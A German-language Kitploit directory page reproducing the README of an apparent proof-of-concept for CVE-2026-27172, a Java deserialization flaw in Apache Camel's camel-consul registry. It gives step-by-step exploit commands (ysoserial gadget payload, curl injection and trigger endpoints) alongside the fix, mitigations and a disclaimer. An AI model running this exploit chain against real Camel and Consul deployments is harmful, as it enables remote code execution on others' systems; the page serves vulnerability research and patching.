Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-27172 — Reproducer for CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java deserialization (RCE) | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-27172
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHuboscerd/cve-2026-27172

CVE-2026-27172

Reproducer for CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java deserialization (RCE)

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

camel-consul ConsulRegistry Deserialisierungs-Schwachstellen-Reproducer (CVE-2026-27172)

Dieses Projekt demonstriert eine Java-Deserialisierungs-Schwachstelle in Apache Camels camel-consul-Komponente (ConsulRegistry), bekannt als CVE-2026-27172. Es handelt sich um die gleiche Klasse von Problemen wie CVE-2024-22369, CVE-2024-23114 und CVE-2026-25747, die bei der ursprünglichen Behebung dieser CVEs übersehen wurde.

Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-27172.html

Zusammenfassung der Sicherheitslücke

EigenschaftWert
Komponentecamel-consul
Betroffene Klasseorg.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
Angreifbare MethodenlookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType()
CWECWE-502: Deserialisierung nicht vertrauenswürdiger Daten
AuswirkungRemote Code Execution (RCE)
Betroffene VersionenVon 3.0.0 vor 4.14.6 und von 4.15.0 vor 4.18.1
Behobene Versionen4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23029

Technische Details

ConsulRegistry verwendet den Consul Key/Value-Store als Camel-Registry. Wenn ein Bean nach Namen gesucht wird, wird der gespeicherte Wert Base64-dekodiert und mit einem rohen ObjectInputStream (und in betroffenen Versionen ohne ObjectInputFilter) deserialisiert:

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // kein Filter (betroffen)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - betroffene Version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // KEINE FILTERUNG!
    }
}

Jedes Objekt, das im Consul KV-Store unter einem Schlüssel gespeichert ist, den Camel später nachschlägt, wird deserialisiert. Ein Angreifer, der in diesen KV-Pfad schreiben kann, kann eine Gadget-Chain-Nutzlast platzieren, die bei der Registry-Suche ausgeführt wird.

Voraussetzungen

  • Java 17+
  • Maven 3.8+
  • Ein laufender Consul-Agent (KV-Store) – z. B. über Docker
  • ysoserial (zur Nutzlastgenerierung)

Reproduktionsschritte

Schritt 1: Consul starten

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

Schritt 2: Anwendung bauen und starten

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Schritt 3: Registry-Schlüssel initialisieren

root@kitploit:~
curl http://localhost:8080/exploit/init

Schritt 4: Bösartige Nutzlast generieren

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (harmloser Beweis: Datei erstellen). Unter macOS "open -a Calculator", unter Windows "calc.exe".
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry speichert Base64-kodierte serialisierte Objekte, daher wird die Nutzlast als Base64 geliefert.

Schritt 5: Nutzlast in Consul KV injizieren

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

Schritt 6: Deserialisierung auslösen (RCE!)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

lookupByName() liest den KV-Wert, dekodiert Base64 und deserialisiert ihn – die Gadget-Chain wird ausgeführt.

Schritt 7: Ausnutzung überprüfen

root@kitploit:~
ls -la /tmp/pwned

Wenn die Datei /tmp/pwned existiert, war der Exploit erfolgreich.

Angriffsvektoren

Die Schwachstelle wird ausgelöst, sobald die Registry ein Bean auflöst:

  1. Bean-Referenzen – .to("bean:..."), bean(...), .process("...") per Name rufen alle lookupByName() auf.
  2. Startauflösung – Beans, die während des Aufbaus der Routen aufgelöst werden.
  3. Typ-Suchen – findByType() / lookupByNameAndType() durchlaufen KV-Einträge und deserialisieren sie.

Ausnutzungsbedingungen

  1. Schreibzugriff auf den Consul KV-Store, der die Registry unterstützt:
    • Ein gemeinsam genutzter oder fehlkonfigurierter Consul-Cluster
    • Ein kompromittiertes/zu weitreichendes Consul-ACL-Token
    • Eine andere Schwachstelle, die einen KV-Schreib-Primitiv bereitstellt
  2. Eine Gadget-Bibliothek im Klassenpfad:
    • commons-collections:3.2.1 (CommonsCollections1-7-Gadgets)
    • Viele andere (siehe ysoserial)

Vergleich mit den verwandten CVEs

Empfohlener Fix

Der Fix (CAMEL-23029) fügt einen konfigurierbaren ObjectInputFilter (Standard java.**;org.apache.camel.**;!*) zu ConsulRegistryUtils.deserialize hinzu und stellt eine deserializationFilter-Option bereit, damit vertrauenswürdige Klassen in eine Allow-Liste aufgenommen werden können:

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

Mitigation

Bis zum Upgrade auf eine behobene Version:

  1. Consul KV-Schreibzugriff einschränken auf die Identität der Camel-Anwendung selbst (Least-Privilege-ACL-Token).
  2. Gadget-Bibliotheken entfernen: Verwundbare Bibliotheken wie commons-collections 3.x upgraden oder entfernen.
  3. Netzwerksegmentierung: Den Consul-Cluster in einem vertrauenswürdigen Netzwerk isolieren.

Dateien

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Maven-Konfiguration (betroffene camel-consul-Version)
├── README.md                        # Diese Datei
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring-Boot-Einstiegspunkt
    │   ├── ConsulRegistryRoute.java  # Camel-Route (deaktiviert; zeigt echte Verwendung)
    │   └── ExploitController.java    # REST-Endpunkte für den PoC
    └── resources/
        └── application.properties

Haftungsausschluss

Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierten Test einer öffentlich offengelegten und behobenen Schwachstelle bereitgestellt. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen
AspektCassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
Backend-SpeicherCassandra-TabelleLevelDB-DateiConsul KV-Store
ObjectInputFilter (vor Fix)keinerkeinerkeiner
FixObjectInputFilter-Allow-ListeObjectInputFilter-Allow-ListeObjectInputFilter-Allow-Liste
JIRACAMEL-20306CAMEL-22821CAMEL-23029